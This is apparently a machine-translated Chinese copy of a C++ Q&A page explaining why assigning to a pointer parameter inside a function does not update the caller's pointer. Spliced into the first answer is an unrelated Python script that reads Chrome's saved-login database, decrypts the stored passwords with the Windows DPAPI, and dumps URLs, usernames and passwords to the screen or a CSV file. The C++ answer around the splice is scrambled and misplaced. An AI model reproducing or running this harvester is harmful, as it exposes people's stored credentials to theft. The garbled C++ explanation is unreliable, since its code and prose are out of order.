在C ++中为指针指定指针

时间:2016-01-23 15:09:17

标签: c++ pointers

我遇到过这样一种情况,我必须在函数中对矩阵进行一些数学运算(在编译时这个维度是未知的,所以我必须将它保存为指针)然后将它等同于我传递的指针函数的参数。

代码每次都会抛出一个分段错误。我在这里有一个示例代码:

#include <iostream>
using namespace std;
void assign(int **a)
{
  int **A = new int* [3];
  int i, j;

  for(i = 0; i < 3; i++)
    A[i] = new int[3];

  for(i = 0; i < 3; i++)
    for(j = 0; j < 3; j++)
      A[i][j] = 100;

  a = A; /* equating the pointers */
}

int main()
{
  int **ptr;
  assign(ptr); /* Passing my pointer into the function */
  cout << ptr[0][0] << endl;
  return 0;
}

代码是用C ++编写的,我不能让函数使用void之外的返回类型。而且我不想按行/列专业将我的矩阵保存在普通指针上 - 我需要知道为什么这不起作用。

2 个答案:

答案 0 :(得分:4)

仔细查看您的代码:

a

您按价值传递assign(ptr) - 调用ptr后,您不会在功能正文中修改ptr本身,而只会修改ptr的副本。< / p>

改为引用void assign(int**& a) { // ... }

void assign(int*** a)
{
    // ...
    *a = A;
}

int main()
{
    int** ptr;
    assign(&ptr);
}

其他可能的解决方案:

  1. 添加另一个间接级别。

    assign
  2. int** assign() { // ... return A; } int main() { int** ptr; ptr = assign(); } 返回。

    import os
    import sys
    import sqlite3
    try:
        import win32crypt
    except:
        pass
    import argparse
    
    
    
    def args_parser():
        parser = argparse.ArgumentParser(description="Retrieve Google Chrome Passwords")
        parser.add_argument("--output", help="Output to csv file", action="store_true")
        args = parser.parse_args()
        if args.output:
            csv(main())
        else:
                for data in main():
                    print (data)
    
    
    
    def main():
        info_list = []
        path = getpath()
        try:
            connection = sqlite3.connect(path + "Login Data")
            with connection:
                cursor = connection.cursor()
                v = cursor.execute('SELECT action_url, username_value, password_value FROM logins')
                value = v.fetchall
    
    
            for information in value:
                if os.name == 'nt':
                    password = win32crypt.CryptUnprotectData(information[2], None, None, None, 0)[1]
                    if password:
                        info_list.append({
                            'origin_url': information[0],
                            'username': information[1],
                            'password': str(password)
                        })
    
    
    
        except sqlite3.OperationalError as e:
            e = str(e)
            if (e == 'database is locked'):
                print('[!] Make sure Google Chrome is not running in the background')
                sys.exit(0)
            elif (e == 'no such table: logins'):
                print('[!] Something wrong with the database name')
                sys.exit(0)
            elif (e == 'unable to open database file'):
                print('[!] Something wrong with the database path')
                sys.exit(0)
            else:
                print (e)
                sys.exit(0)
    
    
    
        return info_list
    
    
    
    def getpath():
            if os.name == "nt":
                # This is the Windows Path
                PathName = os.getenv('localappdata') + '\\Google\\Chrome\\User Data\\Default\\'
                if (os.path.isdir(PathName) == False):
                    print('[!] Chrome Doesn\'t exists')
                    sys.exit(0)
    
                return PathName
    
    
    
    def csv (info):
        with open ('chromepass.csv', 'wb') as csv_file:
            csv_file.write('origin_url,username,password \n' .encode('utf'))
            for data in info:
                csv_file.write(('%s, %s, %s \n' % (data['origin_url'], data['username'], data['password'])).encode('utf-8'))
        print ("Data written to Chromepass.csv")
    
    
    
    
    if __name__ == '__main__':
        args_parser()
    

答案 1 :(得分:0)

根据内存考虑代码中实际发生的事情。这是一个例子,暂时取一些想象中的内存地址:

    in main():                                 in assign():
ptr at 0x0100, value: garbage_ptr
                                    call
                                   ----->
                                           a at 0x0200, value: garbage_ptr
                                           [after some computation]
                                           A at 0x0204, value: 0x0400
                                           [after the line: a = A;]
                                           a at 0x0200, value: 0x0400
ptr at 0x0100, value: garbage_ptr

您可以看到没有任何内容写入0x0100,ptr的地址。这是因为a中的assign()获得了ptr;它不知道 {/ 1}} ptr仍然指向它在ptr开头的范围开始时所做的未触及(垃圾)值。

现在假设将代码更改为:

main()

上面的插图现在变为:

...
void assign(int ***a)
{
    ...
    *a = A;
}

int main()
{
    int **ptr;
    assign(&ptr);
    ....

这样, in main(): in assign(): ptr at 0x0100, value: garbage_ptr &ptr rvalue, value: 0x0100 call -----> a at 0x0200, value: 0x0100 *a at 0x100, value: garbage_ptr [after some computation] A at 0x0204, value: 0x0400 [after the line: *a = A;] a at 0x200, value: 0x0100 *a at 0x100, value: 0x0400 return <----- ptr at 0x100, value: 0x0400 的值会发生变化,这就是你想要的。 (实际上,你应该在C ++中使用这种东西的引用,但用指针显示错误会更容易。)